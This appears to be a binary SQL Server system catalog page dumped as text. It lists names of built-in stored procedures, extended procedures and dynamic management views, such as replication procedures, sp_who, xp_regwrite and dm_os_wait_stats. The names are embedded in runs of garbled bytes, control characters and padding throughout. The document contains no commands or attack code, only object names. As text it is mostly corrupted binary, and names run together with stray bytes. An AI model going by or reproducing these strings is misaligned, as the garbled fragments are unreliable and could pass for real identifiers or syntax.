jQQsp_http_generate_wsdl_defaultsimpleorcomplex00FwP TaYpsp_MSenum_replication_agents00/P VlY`sp_MShelp_repl_agent00uP QEQPsp_defaultdb009bP NNTsp_dbcmptlevel00FP avR~vRVsp_views_rowset00dP NNPxp_logininfo00P sRRXsp_oledb_deflang00TFPQZfn_PhysLocCracker00aX Y6Yjxp_instance_regenumvalues00sIFNNhfn_translate_permissions00$P NNVsp_addumpdevice00lP fT]aYLsp_enumdsn00;$P xSdY\sp_get_distributor00$P Vy6Wlsp_MSget_subscription_guid00=P MUcVTsp_articleview00ԊP X1Xbsp_MSupdategenhistory00賴P ءXX~sp_MSget_DDL_after_regular_snapshot00X YYZxp_regdeletevalue00'V ޽QQxdm_pdw_nodes_os_dispatcher_pools00sP >S#dYfsp_MScheck_subscription00P cWlWsp_processlogshippingretentioncleanup00%P xXX^sp_MSgetchangecount00c	P $Y$Yvsp_MSset_logicalrecord_metadata007
P ZPQnsp_dbmmonitorhelpmonitoring00+P TTUjsp_MSenum_replication_job00VP UZhYfsp_MSgettranconflictrow00/P 
_XpYpsp_helpmergearticleconflicts00*p0P X	Xsp_MSneedmergemetadataretentioncleanup00w1P SdYfsp_helpreplfailovermode007V R
RXKEY_COLUMN_USAGE00#8P 4VmeVjsp_MSpeersendtopologyinfo00?P pkUcV\sp_droppublication00fCP HSQSQFsp_help00-IV PPXdm_os_wait_stats002LP '+W7Wnsp_get_redirected_publisher00UP SzeY\sp_MSget_load_hint00ZP MUdVZsp_browsereplcmds00\P VlYhsp_MSispublicationqueued00&nP v0Q'3QDsp_who00wP X Xxsp_MSdeletemetadataactionrequest00JV PPtdm_os_memory_node_access_stats00gP WYWYnsp_MSdummyupdatelightweight00P ʎR0Rlsp_table_statistics_rowset00P ZQ`Qfsp_help_fulltext_tables00$V 7QQQ\dm_pdw_node_status00P mEWlWsp_help_log_shipping_primary_database00uP OYOYvsp_MSproxiedmetadatalightweight00YP SNrN\sp_addextendedproc00*0P ,'RC'R`sp_sproc_columns_10000P %BRCBRvsp_column_privileges_rowset_rmt00?`P 
X
Xbsp_showpendingchanges00jP XXsp_MSenumchanges_notbelongtopartition!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@jTzJ,f ZBj6^<>
l

jp

	6	H\R:x*h0`0L"LWk2b00s|P 9Y2YZsp_MSforeachtable00_P eNYNRsp_addapprole00P VDlY^sp_MSadd_repl_alert00.P .VkYhsp_MSupdate_subscription007V XNXNbavailability_replicas005V PP`dm_os_spinlock_stats00v	P `T$Ursp_changepublication_snapshot00ZV -NVNndm_database_encryption_keys00&X YYfxp_enum_oledb_providers00:P U_hYlsp_MSgetarticlereinitvalue00>P yVlYhsp_MSdrop_snapshot_agent00MOIP RXpXXsp_MSenumretries00MTP 9V5WZsp_MSenum_qreader00wXP 5Qq6QVsp_helplanguage00ȳcX +Q2Qrsp_begin_parallel_nested_tran00WiP Y4sYXsp_MSmakectsview005oV QQ|dm_pdw_nodes_tran_current_snapshot00uP EKSCTtsp_reinitmergepullsubscription00әP NoO^sp_fulltext_service000P nTUlsp_MScache_agent_parameter00CʫP -Q2Q`sp_create_plan_guide00]PIF? QT Qfdm_exec_text_query_plan00}P V7Wdsp_MSispeertopeeragent00XWP 
T0
Unsp_MShelpsummarypublication00V WNWN^availability_groups00&IP jDSCTfsp_MSrepl_PAL_rolecheck00V QƴQ~dm_pdw_nodes_db_session_space_usage00P CVlYbsp_MSadd_tracer_token00P UMhYZsp_helparticledts00P VlYlsp_MSdelete_tracer_history003P .W7Wpsp_MSstartdistribution_agent00
P \VmeVsp_MSpeerconflictdetection_topology_applyresponse00&P V[lYfsp_update_agent_profile002P UcVzsp_script_reconciliation_vdelproc00oEV RRBVIEWS00SP ZXpYbsp_MScleanup_conflict00SV UQsQ|dm_pdw_nodes_os_buffer_descriptors00aP >.Q2Qbsp_control_plan_guide00*тX MNNN`sp_releaseschemalock00P ]NrNTsp_refreshview00V 
Q
Q~dm_hadr_availability_replica_states00@P XTaYrsp_changedistributor_password00U)P XFXnsp_MSaddinitialsubscription00I=P dWnYbsp_showrowreplicainfo00OP ]V5Whsp_MSadd_anonymous_agent00P UXpYfsp_mergecleanupmetadata00P rYmYTsp_MStablekeys00P QX{Xzsp_MSenum_metadataaction_requests00P omSCTzsp_MSchange_retention_period_unit00MV UQ(UQbdm_broker_connections00ՌP T bYhsp_MSrepl_testconnection00TP SDTbsp_enableagentoffload00<P WnYdsp_MSfillupmissingcols00uP jXrYnsp_MSupdatesysmergearticles00@P UvQjvQsp_filestream_force_garbage_collection00
P 'WAWNsp_showcolv00pP TaYlsp_MScleanupdynsnapshotvws00RV +QIQxdm_pdw_nodes_db_task_space_usage00P 3X33Xbsp_mergearticlecolumn00"V PPxdm_db_mirroring_auto_page_repair00$9P W7W~sp_MSchecksharedagentforpublication00<P 8?UgY\sp_IHarticlecolumn00FP 7PSCTdsp_MSenumsubscriptions00|RV 1QYQ\dm_pdw_dms_workers00TV QѯQ\dm_server_registry00)`IFPP`dm_logpool_consumers00	iP hRiRXsp_tables_rowset00wP TUbsp_drop_agent_profile00GyP TDTpsp_MSgrantconnectreplication00l8}P PYY^sp_MSset_oledb_prop00㜂V RRZVIEW_COLUMN_USAGE00TP QԑQRsp_dropserver00V ePPZdm_os_dispatchers00'P QRRRdsp_foreign_keys_rowset00V Q޸Qdm_pdw_nodes_exec_query_optimizer_info00VȼIFQQdm_exec_describe_first_result_set_for_object!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J@nZ>Hn0^2>L\Fh&
F
<v
0
	d		:p(`Ft4j`0K"RW,
/00͈P V4Wsp_replmonitorhelpmergesessiondetail00WFN-Y-Ypfn_numberOf1InBinaryAfterLoc00wP SDTjsp_MSscript_sync_del_trig00P OOvsp_fulltext_load_thesaurus_file00LP VIlYZsp_MShelp_article00V PPPdm_os_stacks00P sSDTsp_get_job_status_mergesubscription_agent00$P \Q`Qhsp_help_fulltext_columns00P TUhsp_help_datatype_mapping00cP UTU`sp_add_agent_profile00
P SDTfsp_browsesnapshotfolder00*FN'UdVjfn_replreplacesinglequote00o/IF<hQhhQZfn_trace_gettable00#/P ^Y^Yfsp_MSforcereenumeration0091P <KUcVXsp_articlefilter00GV QQbpdw_database_mappings00J|P N)NNsp_bindrule005OP SCTxsp_MSset_subscription_properties00P Vx6Wjsp_MSdrop_anonymous_entry00>'P UcVzsp_MSdodatabasesnapshotinitiation00kРP @KXeKX\sp_dropmergefilter00ݢP UGdVbsp_MSreplupdateschema00}X (Q1QTsp_cursorfetch00P dXdX^sp_mergedummyupdate00>P hXhXtsp_dropmergealternatepublisher00tP UUcVRsp_addarticle00P DwW7jYbsp_MScdc_db_ddl_event003\V vQvQdm_filestream_non_transacted_handles00P 4UUrsp_stoppushsubscription_agent00 PTFLTw
U\fn_helpdatatypemap00P ϔQQVsp_altermessage00zX \QEQpsp_migrate_user_to_contained00.P &4SdY^sp_MSunmarkifneeded00&P mSCT`sp_MSchange_priority00{
,P ^QmQdsp_clean_db_free_space001P XX|sp_MSenumchanges_belongtopartition00D2FN0AYtYTfn_MSorbitmaps00"AP SdY^sp_link_publication00IP NR.NRxsp_table_type_columns_100_rowset00ZiSP XXtsp_MSdelrowsbatch_downloadonly00;dV QQ^dm_pdw_sql_requests00miP XτXvsp_MSsetup_use_partition_groups003lP 
TaYpsp_revoke_publication_access00=rAFQӡQfGeographyUnionAggregate00P %Y&Ysp_MSgetmetadata_changedlogicalrecordmembers00/P BXrYZsp_MSenumreplicas00 P VX|Xdsp_MSmerge_getgencount00V RRHROUTINES00X >TDTNsp_replcmds00UP wZRZR`sp_indexes_90_rowset00=bP OXbXsp_MSevaluate_change_membership_for_all_articles_in_pubid00LP RRnsp_tables_info_90_rowset_6400xP XrY^sp_MSgetreplicainfo00P XXrsp_MSenumdeletes_forpartition00P PQXsp_user_counter700P (V6WVsp_MSmarkreinit009WP FWiWhsp_MSconflicttableexists00CV ePPbdm_xe_session_targets00P V5Wtsp_MSadd_merge_anonymous_agent00P VkYdsp_MSget_repl_commands00.P 	UU|sp_stopmergepushsubscription_agent00$P XX\sp_MSdroptemptable00tP SdeYtsp_MSrepl_linkedservers_rowset00qVP eR8eRfsp_primary_keys_rowset200
IF)QQQndm_sql_referencing_entities00V NNXdm_audit_actions00P _VmeVsp_MSpeerconflictdetection_statuscollection_sendresponse003P tSeYrsp_MSmerge_upgrade_subscriber00IV QQzdm_hadr_availability_group_states008ZP UFdVlsp_MSdeletepeerconflictrow00`P LU'UVsp_MSgetversion00dP UdV^sp_helptracertokens00iP 'Y'Y~sp_MSmap_partitionid_to_generations00P .SdY`sp_MSmerge_alterview00P WXxsp_mergemetadataretentioncleanup!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@d(Hn2\Fv^hDp&V

4
n 
l
		F	,|$d4d0P`0O"@"XhJ00LP :XmpYxsp_MScreate_logical_record_views00E%P XrYsp_MSpostapplyscript_forsubscriberprocs00yP b+R}+R^sp_table_privileges00P PQXsp_user_counter500gFN`XXpfn_MSrepl_map_resolver_clsid00P XX^sp_MSgetrowmetadata00]V PP\dm_os_ring_buffers00wX +QH2QPsp_unprepare00P X)X`sp_check_join_filter00(P DQDQPsp_denylogin00P V6Whsp_MSadjust_pub_identity00P 6YɬYRsp_MShelptype00P NYN\sp_approlepassword00FN<QiQ~fn_hadr_backup_is_preferred_replica00P dEXzpYhsp_helpmergesubscription00P 3SNeYfsp_restoredbreplication005CP ϠUcVxsp_script_reconciliation_insproc00_XP W^WTsp_cdc_add_job00*]P P7QNsp_helpfile00!P X/UcVZsp_addpublication00$!X !,Q2QXsp_resyncprepare00#P tNrNPsp_validlang00&P ]SdYfsp_removesrvreplication001P eXeXbsp_addtabletocontents004X YY`xp_instance_regwrite00_U7P 1"UcVfsp_MSget_latest_peerlsn00AV JRfR\DOMAIN_CONSTRAINTS00PDX YY^xp_sysmail_activate00GX YYPsp_OADestroy00jfP UXrYnsp_MSmakeconflictinsertproc00ZgP TQwQvsp_help_spatial_geography_index00ooP ktXpYvsp_MScreatemergedynamicsnapshot00vV PPldm_db_missing_index_groups002[~X (Q1QJsp_cursor00İP 9FX}pYhsp_dropmergesubscription00!P XXlsp_MSinitdynamicsubscriber00V +QBQfdm_hadr_cluster_members00fFNScYdfn_repladjustcolumnmap00%HP NNRsp_dropdevice00tP VolYhsp_MSreinit_subscription00;V ~QQtdm_pdw_nodes_tran_commit_table00{V "Q"Qldm_db_uncontained_entities00RP YYXsp_MShelpcolumns00X +Q2QVsp_createorphan00\P QQ~sp_help_spatial_geography_index_xml00\V 9!QX!Q`dm_exec_cached_plans00'P NNRsp_helprotect00ÍV cQQdm_hadr_availability_replica_cluster_states005P YƉYdsp_prop_oledb_provider00P ?<Ra<Rdsp_catalogs_rowset_rmt00$P )V6W\sp_MSenumerate_PAL00L%V ܟNNLuser_token00	0V /P>PXdm_exec_sessions001X QQjsp_reserve_http_namespace006P ?R6@Rnsp_column_privileges_rowset00:FNUT
Urfn_yukonsecuritymodelrequired00!CP lYYjsp_MSproxiedmetadatabatch00rHV Q9Qhdm_pdw_nodes_os_sys_info00+HP KrW2jYNsp_cdc_scan00PFN)Y)Ypfn_MSgeneration_downloadonly00*WP ʒUcVjsp_MSscript_sync_upd_proc00L_P Y	Ylsp_MSsubscriptionvalidated00`IF]NqNZfn_get_audit_file00'jX 	YʼnYTxp_delete_file00%{X YYfxp_instance_regenumkeys00
P !R4Rnsp_provider_types_90_rowset00$P 
Y
Y`sp_MSproxiedmetadata00BX +QH2QRsp_executesql00P XrYdsp_MSenumgenerations9000V VQVQpdm_broker_forwarded_messages00P 8UcVhsp_MSrepl_helparticlermo00V PP~dm_resource_governor_resource_pools00ΚP )W_WXsp_cdc_help_jobs00X Y^Yfxp_regremovemultistring00P VQlYpsp_MSdrop_merge_subscription00IF^PkP\dm_os_volume_stats00V Q#Qpdm_pdw_nodes_os_memory_nodes00P 6X6XVsp_MSreinit_hub00_P f,XUpYdsp_addmergepublication!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h,nb.::x,lz(J0T8
d

8T
J
		"	ll:T>>^`0M"VXrlK00P 5YYZsp_MSdependencies005V PP^dm_os_memory_clerks00]
V |QQdm_pdw_nodes_os_memory_cache_hash_tables00v+P RRvsp_syspolicy_update_ddl_trigger00FP R
Rv
RLsp_indexes00P XXxsp_enumeratependingschemachanges00'P ]UdVnsp_deletetracertokenhistory00_+P nXrYlsp_MSscriptsubscriberprocs00>X QQVsp_showmemo_xml00 @FNcPQjfn_GetRowsetIdFromRowDump00KdX ІYYLxp_dirtree009fP SAeYfsp_vupgrade_replication00vV  PKPhdm_hadr_auto_page_repair00P [RiRnsp_procedure_params_managed00P Tw
U\sp_helpdatatypemap00P %UihY^sp_replqueuemonitor00P TUjsp_change_agent_parameter00PP 
ScYsp_MSacquireserverresourcefordynamicsnapshot00P !XqYzsp_addmergepushsubscription_agent00P O[Ys[Ytsp_MSgetrowmetadatalightweight00LCP \VlYhsp_MShelp_snapshot_agent00P ˫XrYdsp_MShelpmergearticles00mP VFlYfsp_MSchange_publication00
V QQdm_pdw_component_health_active_alerts00V Q"Qdm_pdw_nodes_tran_database_transactions00nP XXlsp_markpendingschemachange00P 0WTW~sp_MSaddmergetriggers_from_template00sP QEQ\sp_defaultlanguage00P SDTXsp_repladdcolumn00oV 5DVeVXdm_repl_articles00eDP kgWlWdsp_can_tlog_be_applied00!(P zRR\sp_indexes_managed00.AFQQ5QlGeographyEnvelopeAggregate000P RXaXfsp_MSmerge_parsegenlist00>s1X YYNxp_regwrite00n?P QMWlWsp_delete_log_shipping_secondary_primary00GJP Q"Re"Rdsp_special_columns_10000a`P NyNLsp_adduser00BeV aP}P`dm_xe_session_events00pP !3VmeVlsp_requestpeertopologyinfo00fvP Wy6Wvsp_MSadd_mergesubentry_indistdb00q=P ~SdYfsp_MSpublicationcleanup00P CYYTsp_MShelpindex00:]P TW^WZsp_cdc_disable_db00UP WlYsp_replmonitorsubscriptionpendingcmds00tP ̀R݀Rdsp_tables_info_rowset200IF|PPfdm_logpoolmgr_freepools00HiP VW7Wfsp_MSstopsnapshot_agent00P R
Rfsp_indexcolumns_managed00
P XrY^sp_MSsetlastsentgen005P %W7Wjsp_helpsubscriptionerrors00]T+P RDThsp_MSGetCurrentPrincipal00u?P W_WVsp_cdc_vupgrade00?dEP ]R]Rbsp_indexes_100_rowset00GV NNbdm_fts_memory_buffers00HP 	RR~sp_assembly_dependencies_rowset_rmt00YP mTU^sp_changesubscriber00kV NNfdm_fts_index_population005qP )RRRRsp_columns_ex00{tV ]QQbpdw_loader_run_stages00@{V ^RzRfCONSTRAINT_COLUMN_USAGE00~P =YYXsp_MSsettopology00V N"NZsecurable_classes005̃X YLYfxp_sqlagent_is_starting00P t{QEQ^sp_addsrvrolemember002-P  Y Yfsp_MSdropdynsnapshotvws00^P MTw
Upsp_getdefaultdatatypemapping00>P PQXsp_user_counter300V P"Pndm_tran_current_transaction00mV )PBPhdm_os_cluster_properties001V ˡNNbdm_os_child_instances00\AFŞQQnGeometryConvexHullAggregate00KfX (Q1QRsp_cursoropen00gP IRJRbsp_columns_90_rowset200`P TbYnsp_mergesubscriptionsummary00P U
Unsp_helppublication_snapshot008lV QQdm_pdw_nodes_tran_active_transactions!!!!!!!!!!!!!!fDtFpR2z<T"<(F6`

2
vD
R
	j		* X&t
Hb`0K"82X[Į00ZP V7Wsp_MSadddynamicsnapshotjobatdistributor00uV +PGP^dm_exec_connections00
VP JcT%U`sp_helpreplicationdb00MV 2QOQddm_server_memory_dumps00P `Q`Q|sp_help_fulltext_system_components00ǤP NN\sp_check_removable00LX bVcV`sp_replwritetovarbin005-P aSfeYZsp_MSget_jobstate00!5P V5Wdsp_MSfast_delete_trans00R/8P chWvYZsp_resolve_logins00EX YۍY`xp_regaddmultistring00xPX YYVxp_regdeletekey00`P XXhsp_MScreateglobalreplica00hP (W7W~sp_MScheck_merge_subscription_count00xqP SeYbsp_MSget_shared_agent00&`vP dqSdYtsp_changemergepullsubscription00P RRXsp_linkedservers00s̆P NZN\sp_resign_database00arP tRRHsp_pkeys00 ۛP RRlsp_constr_col_usage_rowset00VP SaeYvsp_MScleanup_publication_ADinfo00DzP ',TDTrsp_stoppullsubscription_agent00P PQXsp_user_counter600P TUrsp_MSupdate_agenttype_default00P ES3dYhsp_MSrepl_IsUserInAnyPAL00V NӐNsystem_components_surface_area_configuration00BP 1NYNXsp_addrolemember00ǑP 6oUcV^sp_dropsubscription00V {PP|dm_exec_background_job_queue_stats00AP {UhYlsp_MSvalidate_subscription00P o%Y%Ytsp_MSdummyupdate_logicalrecord00NP χYʼnYXsp_enumerrorlogs00HP zSCTnsp_MSreplcheckoffloadserver00P e@SDThsp_helpreplicationoption00͈P #V5Wjsp_MSenum_distribution_sd00P ]UeVpsp_checkOraclepackageversion001P dLWlWsp_change_log_shipping_secondary_primary00FTFN2Nffn_listextendedproperty00<P gRvRnsp_procedure_params_rowset200P TbYnsp_MSrepl_enumsubscriptions00SV QQtevent_notification_event_types00.qP vTB
U\sp_verifypublisher00_8P NN`sp_certify_removable009P |QHQ`sp_dropsrvrolemember00֩V gQQndm_pdw_nodes_os_latch_stats00
6P 	-UdVNsp_replsync006P QmQnsp_clean_db_file_free_space00;P AVeVpsp_addpushsubscription_agent00/<RFNYUdVZfn_varbintohexstr00FhP b)Rr)RZsp_statistics_10000?uP PUUnsp_stoppublication_snapshot00tԇP ͑UcVjsp_MSscript_sync_ins_proc00P N|Nbsp_change_users_login00'P jN2Njsp_updateextendedproperty00DP GWlWsp_help_log_shipping_primary_secondary00X Y+Ybxp_sqlagent_enum_jobs00dV =Q[Qdm_pdw_nodes_exec_query_memory_grants00&P PWlWsp_change_log_shipping_secondary_database00yP g@X{@Xjsp_changemergelogsettings00~P RRhsp_linkedservers_rowset200_P yVx6Wdsp_MSadd_qreader_agent00(P qUcVfsp_refreshsubscriptions00"P ~WWTsp_showlineage00"V PPldm_os_memory_broker_clerks00LP RcYxp_repl_convert_encrypt_sysadmin_wrapper00mP ,VleVlsp_MSgetpeertopeercommands00_qV Q	Qtdm_pdw_nodes_os_loaded_modules00xP }UcVbsp_reinitsubscription00tyP kQJQdsp_dbmmonitordropalert00NJP iT%ULsp_replica00KV `tQ|tQrdm_filestream_file_io_handles00?P NNhsp_attach_single_file_db00bCP TUpsp_MSinit_publication_access00P {XrYfsp_MSfetchidentityrange00P KVhYxsp_get_Oracle_publisher_metadata!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T|
Z$j4(BvDzP4R~
F
z4
L
	r		2~"VvX@D`
o"[i&Dsp_MSremoveoffloadparameter&3Fsp_MSrepl_agentstatussummary&q^sp_MSrepl_distributionagentstatussummary&;Jsp_MSrepl_dropdatatypemappings&vHsp_MSrepl_enumpublishertables&҉(@sp_MSrepl_getpkfkrelation&ȑBsp_MSrepl_gettype_mappings&^Psp_MSrepl_mergeagentstatussummary&4sp_MSrepl_raiserror&th.sp_MSrepl_setNFR&;6=Hsp_MSrepl_subscription_rowset&>sp_MSreplcheck_subscribe&FȾXsp_MSreplcheck_subscribe_withddladmin&wf8sp_MSreplremoveuncdir&'z>sp_MSreset_queued_reinit&%URsp_MSresetsnapshotdeliveryprogress&@sp_MSscript_sync_del_proc&6@sp_MSscript_sync_upd_trig&Y>sp_MSscriptcustomupdproc&I4sp_MSscriptdatabase&=4sp_MSscriptviewproc&jLsp_MSset_dynamic_filter_options&Dsp_MSset_new_identity_range&cZsp_MSsetcontext_bypasswholeddleventbit&vi@sp_MSsetup_identity_range&=0sp_MSsetupbelongs&66sp_MSSharedFixedDisk&p%8sp_MSSQLDMO70_version&K8sp_MSSQLDMO90_version&G=Xsp_MSrequestreenumeration_lightweight&@sp_MSrequestreenumeration&ܞBsp_MSrepl_enumpublications&24sp_MSreplcheck_pull&`HWBsp_MSrepl_init_backup_lsns&c	Lsp_MSset_logicalrecord_metadata&&I<sp_MSrepl_PAL_rolecheck&Ռ>sp_MSrepl_testconnection&l8}4sp_MSset_oledb_prop&w@sp_MSscript_sync_del_trig&5ONsp_MSset_subscription_properties&ݢ8sp_MSreplupdateschema&miLsp_MSsetup_use_partition_groups&tJsp_MSrepl_linkedservers_rowset&*W@sp_MSscript_sync_upd_proc&>sp_MSrepl_helparticlermo&_+Bsp_MSscriptsubscriberprocs&
4sp_MSsetlastsentgen&~.sp_MSsettopology&>sp_MSrepl_IsUserInAnyPAL&HDsp_MSreplcheckoffloadserver&Dsp_MSrepl_enumsubscriptions&tԇ@sp_MSscript_sync_ins_proc&ڱ@sp_MSrepl_backup_complete&^Rsp_MSrepl_snapshot_helppublication&Tkm8sp_MSsetreplicastatus&1Lsp_MSrepl_enumarticlecolumninfo&+3,sp_MSscript_dri&_`>sp_MSscript_article_view&Ex4sp_MSsendtosqlqueue&k.sp_MSsetartprocs&D0sp_MSsetgentozero&#Bsp_MSrepl_startup_internal&oHsp_MSrepl_testadminconnection&=<sp_MSreplcopyscriptfile&[W@sp_MSreplcheck_permission&Hsp_MSreset_subscription_seqno&[
@sp_MSscript_sync_ins_trig&7$sp_MSsetbit&b6sp_MSrepl_FixPALRole&!<sp_MSreset_subscription&sf\sp_MSsetupnosyncsubwithlsnatdist_helper&Xsp_MSrepl_snapshot_helparticlecolumns&u^sp_MSsetupnosyncsubwithlsnatdist_cleanup&aK@sp_MSrepl_check_publisher&C|i.sp_MSrepl_schema&p:sp_MSrepl_backup_start&&:sp_MSsetsubscriberinfo&8sp_MSsetconflicttable&"0sp_MSsetalertinfo&;SF0sp_MSset_sub_guid&8sp_MSSQLOLE65_version&J4sp_MSSQLOLE_version&#<sp_MSreset_synctran_bit&;YsNsp_MSsetupnosyncsubwithlsnatdist&puHsp_MSrepl_enumtablecolumninfo&$4sp_MSsetrowmetadata&lW2sp_MSsetaccesslist&ApFsp_MSrestoresavedforeignkeys& ܿ4sp_MSrepl_isdbowner&@sp_MSsetcontext_replagent&-2sp_MSsetlastrecgen&oDFsp_MSset_snapshot_xact_seqno&ғVsp_MSretrieve_publication_attributes&C2sp_MSreplraiserror&1	8sp_MSSQLDMO80_version&RDsp_MSsetup_partition_groups&Z>sp_MSscriptcustominsproc&$L4:sp_MSreset_transaction&OFsp_MSrepl_getdistributorinfo&s>sp_MSSetServerProperties&.6sp_MSscriptdb_worker&'&1Fsp_MSsetreplicaschemaversion&1:Fsp_MSscriptforeignkeyrestore&>sp_MSscriptcustomdelproc&;>sp_MSscript_pub_upd_trig&4sp_MSsetreplicainfo&o+:sp_MSsetconflictscript&/9\sp_MSrepl_IsLastPubInSharedSubscription&%?w<sp_MSreset_attach_state&Z<sp_MSreplagentjobexists&ǕNsp_MSrepl_createdatatypemappings,sp_readerrorlog&A@sp_registercustomresolver&S*sp_primarykeys&ڱ@sp_MSrepl_backup_complete&^Rsp_MSrepl_snapshot_helppublication&Tkm8sp_MSsetreplicastatus&!6sp_publisherproperty&1Lsp_MSrepl_enumarticlecolumninfo&+3,sp_MSscript_dri&_`>sp_MSscript_article_view&)b*sp_oledb_defdb&Ex4sp_MSsendtosqlqueue&k.sp_MSsetartprocs& sp_OAStop&D0sp_MSsetgentjj4
t:v~@jH\
d
:	&*	(@r4Dh
$
@@b$H2
DV	
:0v	\6Tl`$
rrH^
`
="r[t+_&Bdm_pdw_nodes_exec_requests&|Ldm_pdw_nodes_os_child_instances&e8dm_pdw_nodes_os_hosts&ʷJdm_pdw_nodes_os_memory_brokers&Bdm_pdw_nodes_os_schedulers&h@98dm_pdw_nodes_os_tasks&
Vdm_pdw_nodes_os_virtual_address_dump&^dm_pdw_nodes_tran_top_version_generators&c6dm_pdw_os_event_logs&</8dm_pdw_query_stats_xe&f0dm_pdw_wait_stats&y4dm_qn_subscriptions&~.dm_repl_tranhash&QHdm_pdw_nodes_os_memory_clerks&aXdm_pdw_nodes_io_cluster_shared_drives&'Ndm_pdw_nodes_os_dispatcher_pools&5oRdm_pdw_nodes_tran_current_snapshot&SRdm_pdw_nodes_os_buffer_descriptors&;d4dm_pdw_sql_requests&;Jdm_pdw_nodes_tran_commit_table&rH>dm_pdw_nodes_os_sys_info&Fdm_pdw_nodes_os_memory_nodes&]
^dm_pdw_nodes_os_memory_cache_hash_tables&\dm_pdw_nodes_tran_database_transactions&o.dm_repl_articles&8lXdm_pdw_nodes_tran_active_transactions&֩Ddm_pdw_nodes_os_latch_stats&_qJdm_pdw_nodes_os_loaded_modules&YJdm_pdw_nodes_os_memory_objects&,dm_repl_schemas&Š|dm_pdw_nodes_tran_active_snapshot_database_transactions&ȚDdm_pdw_nodes_os_dispatchers&[5aHdm_pdw_nodes_os_waiting_tasks&MHJdm_pdw_nodes_os_spinlock_stats&IRdm_resource_governor_configuration&(Zdm_pdw_nodes_tran_session_transactions&!3<dm_pdw_nodes_os_workers&Fdm_pdw_nodes_os_memory_pools&quAVdm_pdw_nodes_os_memory_cache_entries&&?Bdm_pdw_nodes_exec_sessions&Z,dm_pdw_sys_info&vXdm_pdw_nodes_tran_current_transaction&7Vdm_pdw_nodes_os_performance_counters&.dm_repl_traninfo&/Hdm_pdw_nodes_os_cluster_nodes&E8dm_pdw_nodes_os_nodes&|Bdm_pdw_query_stats_xe_file&6dm_pdw_request_steps&G&dm_pdw_waits&Bdm_pdw_nodes_os_sys_memory&D<dm_pdw_nodes_os_threads&k^dm_pdw_nodes_os_memory_node_access_stats&Jdm_pdw_nodes_os_process_memory&IJdm_pdw_os_performance_counters&6Xdm_pdw_nodes_os_memory_cache_counters&8dm_pdw_online_backups&_^dm_pdw_nodes_os_memory_cache_clock_hands&0dm_pdw_os_threads&7vBdm_pdw_nodes_os_wait_stats&<dm_pdw_nodes_tran_locks&Tdm_pdw_nodes_io_pending_io_requests,dm_repl_schemas&Š|dm_pdw_nodes_tran_active_snapshot_database_transactions&iS	>fn_EnumCurrentPrincipals&EBdm_sql_referenced_entities&ȚDdm_pdw_nodes_os_dispatchers&N2fn_cdc_get_max_lsn&F.fn_MapSchemaType&]G:dm_tcp_listener_states&[5aHdm_pdw_nodes_os_waiting_tasks&p0fn_my_permissions&MHJdm_pdw_nodes_os_spinlock_stats&_6Hdm_tran_transactions_snapshot&q9"fn_get_sql&IRdm_resource_governor_configuration&(Zdm_pdw_nodes_tran_session_transactions&~V`:fn_builtin_permissions&a<fn_cdc_check_parameters&!3<dm_pdw_nodes_os_workers&Fdm_pdw_nodes_os_memory_pools&"Vhdm_tran_active_snapshot_database_transactions&quAVdm_pdw_nodes_os_memory_cache_entries&2dm_server_services&46Ddm_tran_active_transactions&&?Bdm_pdw_nodes_exec_sessions&Fdm_tran_session_transactions&>fn_MSvector_downloadonly&Z,dm_pdw_sys_info&ZV.fn_fIsColTracked&eN6fn_cdc_decrement_lsn&Vdm_resource_governor_workload_groups&kWBfn_check_object_signatures&vXdm_pdw_nodes_tran_current_transaction&+Zddm_resource_governor_resource_pool_affinity&j:fn_cdc_map_lsn_to_time&V`1(dm_tran_locks&7Vdm_pdw_nodes_os_performance_counters&.dm_repl_traninfo&/Hdm_pdw_nodes_os_cluster_nodes&\2fn_cdc_hexstrtobin&E8dm_pdw_nodes_os_nodes&|Bdm_pdw_query_stats_xe_file&Ddm_xe_session_event_actions&1\0fn_cdc_is_bit_set&Y:dm_server_audit_status&6dm_pdw_request_steps&G&dm_pdw_waits&Bdm_pdw_nodes_os_sys_memory&D<dm_pdw_nodes_os_threads&Fu6fn_IsBitSetInBitmask&k^dm_pdw_nodes_os_memory_node_access_stats&Jdm_pdw_nodes_os_process_memory&IJdm_pdw_os_performance_counters&6Xdm_pdw_nodes_os_memory_cache_counters&c*dm_xe_packages&8dm_pdw_online_backups&_^dm_pdw_nodes_os_memory_cache_clock_handsZJ`
L		hpJ<
0X

|@
dvt
6	B

~	p
22
$&r>L`
 "f\0r&O<sp_upgrade_log_shipping&0sp_user_counter10&.sp_user_counter5&.sp_user_counter7&n.sp_user_counter9&6sp_usertypes_rowset2&4HNsp_validate_redirected_publisher&F,sp_views_rowset&&nsp_who&j:sp_xml_preparedocument&$=8sp_xml_schema_rowset2&(sysallocunits&_$sysasymkeys&;"sysaudacts&:"sysbinobjs&a(sysbinsubobjs&(sysbrickfiles&.syscerts&P(syschildinsts& sysclones&@"sysclsobjs&)"syscolpars&|&syscommittab&R.syscompfragments&G&sysconvgroup&>.syscscolsegments&?0syscsdictionaries&"sysdbfiles& sysdbfrag&sysdbreg&Isysdercv&H sysdesend&8 sysendpts& sysfgfrag& sysfiles1&O$sysfoqueues&Ysysfos& sysftinds&V,sysftproperties&T.sysftsemanticsdb&U"sysftstops&N$sysguidrefs&6$sysidxstats&7 sysiscols&0"syslnklgns&K,sysmultiobjrefs&, sysnsobjs&^,sysobjkeycrypts&<&sysobjvalues& sysowners&sysphfg&(syspriorities&sysprivs&syspru&$sysprufiles&Z sysqnames&C*sysremsvcbinds&/"sysrmtlgns&A(sysrowsetrefs&"sysrowsets& sysrscols&Esysrts&#&sp_validlang&9f<sp_vupgrade_replication&>.sp_user_counter3&.sp_user_counter6&.q2sp_verifypublisher&k9<sp_vupgrade_mergetables& 